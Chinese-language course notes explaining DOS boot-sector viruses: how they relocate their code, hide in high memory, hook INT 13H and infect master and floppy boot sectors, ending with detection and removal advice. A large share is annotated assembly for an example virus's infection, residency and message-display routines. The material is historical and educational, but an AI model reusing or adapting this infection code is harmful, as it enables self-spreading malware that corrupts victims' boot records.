四、DOS病毒之引導型病毒
4.1 病毒的重定位
病毒重定位的原因
- 正常源程序在編譯的時候,變量在內存中的位置都被計算好了,程序裝入內存時,系統不會為它重定位。
- 病毒感染HOST后,由於其依附到不同HOST程序中的位置不盡相同,病毒隨HOST載入內存后,病毒中的各個變量在內存中的位置也會隨之發生變化。
- 病毒為了能正常使用其變量,必須重新定位。
病毒重定位的方法
- 借助Call指令實現
- 當執行Call指令時,它會先將返回地址(緊接着call語句之后的那條語句在內存中的真正地址)壓入堆棧,然后將IP置為Call語句所指向的地址。
- 在被調子程序遇到ret指令后,就會將堆棧頂端的地址彈出來,並將其置入IP中,實現返回。
- 病毒的重定位就是利用call指令對IP的操作來實現的。
- 實現過程
VStart:
...
call delta
delta:
pop ebp
sub ebp, offset delta-VStart
lea eax, [offset Var2+ebp]
4.2 引導型病毒
引導型病毒概念
- 指專門感染主引導扇區和引導扇區的計算機病毒。感染主引導區的病毒稱作MBR病毒;感染引導區的病毒稱作BR病毒。
引導型病毒的基本原理
- 通過感染主引導扇區和引導扇區,在啟動系統時即獲取控制權。
- 引導型病毒在感染主引導扇區/引導扇區時,將被感染扇區的“內容”寫入其他扇區,並在FAT中標示該扇區所在簇為壞簇。
- 為能在機器運行過程中能實施感染,通過修改內存大小,截取高端內存,實現常駐內存。
引導型病毒的觸發與INT 13H
- 引導型病毒的觸發
- 引導型病毒在獲取控制權后,修改INT 13H入口地址使其指向病毒中斷服務程序,處於可激活態
- 當系統/用戶進行磁盤讀寫時調用INT 13H,激活病毒。
- 病毒別激活后,可根據感染條件實施感染、根據爆發破壞條件破壞系統並表現自己。
引導型病毒樣例分析
修改0:413h(減小可用內存)
mov ax, ds:[413h]
dec ax
dec ax
mov ds:[413h], ax
計算高端內存地址
mov cl, 6 ;通過移位得到段地址
shl ax, cl
mov es, ax
搬移病毒至高端內存
mov si, sp
mov cx, VirusSize
cld
rep movsb
跳至端內存
push ax
mov di, offset @@HighAddr
push di
retf
修改INT 13H中斷向量
xchg ds:[13h*4+2], ax
mov cs:[OldInt13Seg], ax
mov ax, offset @@NewInt13
xchg ds:[13h*4],ax
mov cs:[OldInt13Off], ax
新INT13H
cmp dx, 0000h
jnz short @@JmpOldInt13
cmp ah, 02h //讀磁盤扇區
jnz short @@JmpOldInt13
cmp cx, 0001h //主引導扇區
jnz short @@jmpOldInt13
call @@OptDisk //條件: 讀軟盤主引導扇區,則感染
感染
@@OptDisk: ;傳染dl表示的磁盤(dl-0 A: 80:C)
pusha
push ds
push es ;保存段址與通用寄存器
push cs
pop es
push cs
pop ds ;使ds=es=cs
mov bx,OFF OldBootSpace
mov ax,0201h
mov cx,0001h
mov dh,00h
call @@CallInt13 ;讀原引導扇區
jc short @@OptOver
感染
mov di,bx
cmp ds:[di.VirusFlag], ’V’ ;判斷是否已經有病毒?
jz short @@OptOver ;若有,則退出
cmp dl,00h
jz short @@IsOptFlopyDisk
@@IsOptHardDisk:
mov cx,0002h ;若是硬盤,保存在0面0道2扇區
jmp short @@SaveOldBoot
@@IsOptFlopyDisk:
mov cx,79*100h+17 ;若是軟盤,保存在0面79道17扇區
感染@@SaveOldBoot: mov ax, 0301h mov dh, 0hcall @@CallInt13 ;保存原引導扇區jc short @@OptOvermov si, OFF @@Startcldmovswmovsb ;修改原扇區首指令(Jmp near 3字節)
感染 mov di, OFF @@Begin+200h mov si, OFF @@Begin mov cx, OFF @@End-OFF @@Begin cld rep movsb ;修改原引導扇區指令cx字節 mov ax, 0301h mov cx, 0001h mov dh, 00h call @@CallInt13 ;寫回已經被修改了的引導程序@@OptOver: ;退出傳染 pop es pop ds ;恢復段址與通用寄存器 popa
從軟盤引導 call @@OptDisk ;調用傳染模塊 pop dx @@ReadOldFlopyBoot: ;讀出原軟盤引導程序 mov ax,0201h mov cx,79*100h+17 ;傳染時將原引導程序保存在0面79道17扇區中 mov dh,00h call @@CallInt13 jc short @@ReadOldFlopyBoot ;失敗,繼續讀直到成功
從軟盤引導 @@ExecOldBoot: cmp es:[bx.Flags],0aa55h jnz @@ExecOldBoot mov ah,02h int 1ah ;取系統時間 cmp cx,22*100h+30 ;是否大於22:30分 jb @@ExitDisp ;未到,則不顯示 lea si,VirusMsg
從軟盤引導 @@DispMsg: mov al,cs:[si] inc si mov ah,0eh int 10h ;顯示al中的字符 or al,al jnz @@DispMsg xor ax,ax int 16h ;鍵盤輸入@@ExitDisp:mov cx,0001h ;恢復cx初值push espush bxretf ;去執行原引導程序
從硬盤引導@@ReadOldHardBoot:mov ax,0201h mov cx,0002h ;傳染時將原硬盤主引導程序保存在0面0道2扇區中mov dh,00h call @@CallInt13 ;讀出jc short @@ReadOldHardBoot ;失敗,繼續讀直到成功jmp short @@ExecOldBoot ;去執行原引導程序
4.3 示例病毒感染的清除
通過備份主引導扇區進行還原
通過恢復中斷向量表實現對病毒的滅活
引導型病毒的特點與清除
- 駐留內存
一般采用修改0:413地址內的值的方法,但不夠隱蔽。
-
隱形技術:當病毒駐留時,讀寫引導區均對原引導區操作,好像沒有病毒一樣
-
機密技術:一般加密分區表,使無毒盤啟動時無法讀取硬盤
-
優點:
隱蔽性強、兼容性強
- 缺點:
傳染速度慢,一定要用帶毒軟盤啟動才能傳到硬盤
殺毒容易,只需改寫引導區即可。
引導型病毒的判斷與清除
- 通過查看JMP指令判斷是否正常
- 通過檢查引導扇區和內存容量判斷是否有病毒駐留
- 對主引導病毒,不能通過Format清除,可以用FDisk/MBR命令修復,但可能會帶來危險
- 最好的辦法是對主引導扇區進行備份。
